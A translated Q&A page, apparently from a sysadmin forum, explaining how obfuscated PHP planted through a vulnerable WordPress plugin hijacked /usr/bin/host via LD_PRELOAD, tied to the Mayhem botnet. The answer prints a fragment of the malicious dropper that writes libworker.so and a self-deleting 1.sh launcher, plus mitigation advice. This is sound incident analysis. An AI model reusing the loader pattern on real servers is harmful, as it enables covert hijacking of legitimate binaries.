☰

/usr/bin/host 由被黑的 PHP 脚本执行

tag-icon • tag-icon php bind abuse
/usr/bin/host 由被黑的 PHP 脚本执行

今天我注意到 Apache 网络服务器上的请求率异常高，而且传入的网络流量也相当高。检查 Apache 的 mod_status 页面后，我发现有问题的 URL 来自路径www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/。而且我确实在那里发现了几个被黑（混淆）的 PHP 脚本。

还注意到 www-data 用户执行了奇怪的进程：

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

检查/proc/7300/cmdline后发现这确实是原始/usr/bin/host二进制文件。netstat -anp显示它打开了许多 HTTP 连接，因此该二进制文件以某种方式被滥用。debsums确认二进制校验和正确。由于该过程是在 www-data 用户下运行的，因此我没有理由相信服务器本身已被入侵。

这个二进制文件是如何被滥用的？

编辑：这个问题不是“如何处理被入侵的服务器”的广泛问题。而是一个关于一种特定类型的滥用在技术上如何实现的问题（并且已经有了答案），因为这个特定案例的运作方式相当有创意。这个问题似乎已经流行了好几年（2012 年的旧帖子和问题），我本周也遇到了。

答案1

在深入研究了受攻击的 PHP 脚本的源代码并通过谷歌搜索后 (此主题)，我找到了一个解释。

system.php这是我发现的部分代码：

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

涉及的方式/usr/bin/host有点高级。程序使用库（.so文件）来实现某些功能。用户可以LD_PRELOAD在启动合法二进制文件之前预链接（）一些 .so 文件，以更改其行为方式。

如您所见，该脚本创建了一个文件libworker.so并使用LD_PRELOAD环境变量来预加载它，因此合法的host二进制文件正在做一些完全不同的事情。

它创建一个1.shshell 脚本并尝试以多种方式执行它（直接、使用at命令、使用 cron）。之后它会立即从磁盘中删除脚本和库文件，因此不会被察觉。

首先发生的事情是一些易受攻击的 Wordpress 插件被滥用，攻击者能够将他们的文件放入 word-writabble 目录中。

缓解措施意味着分析该域的旧访问日志文件并尝试查找POST对异常位置的任何请求 - 例如直接访问 WP/Joomla 插件的 PHP 文件是不寻常的。然后删除所有发现的混淆 PHP 文件，修复目录权限，终止正在运行的host进程并监控日志文件以查找任何重新黑客攻击的尝试。

编辑：我从 ESET 获得信息，他们已经检测到这个特定的库以及其他版本。防病毒公司给它起了这个名字鲁普雷似乎它被用作混乱僵尸网络。

深入了解分析Mayhem 僵尸网络。

深入了解分析这次攻击的

相关内容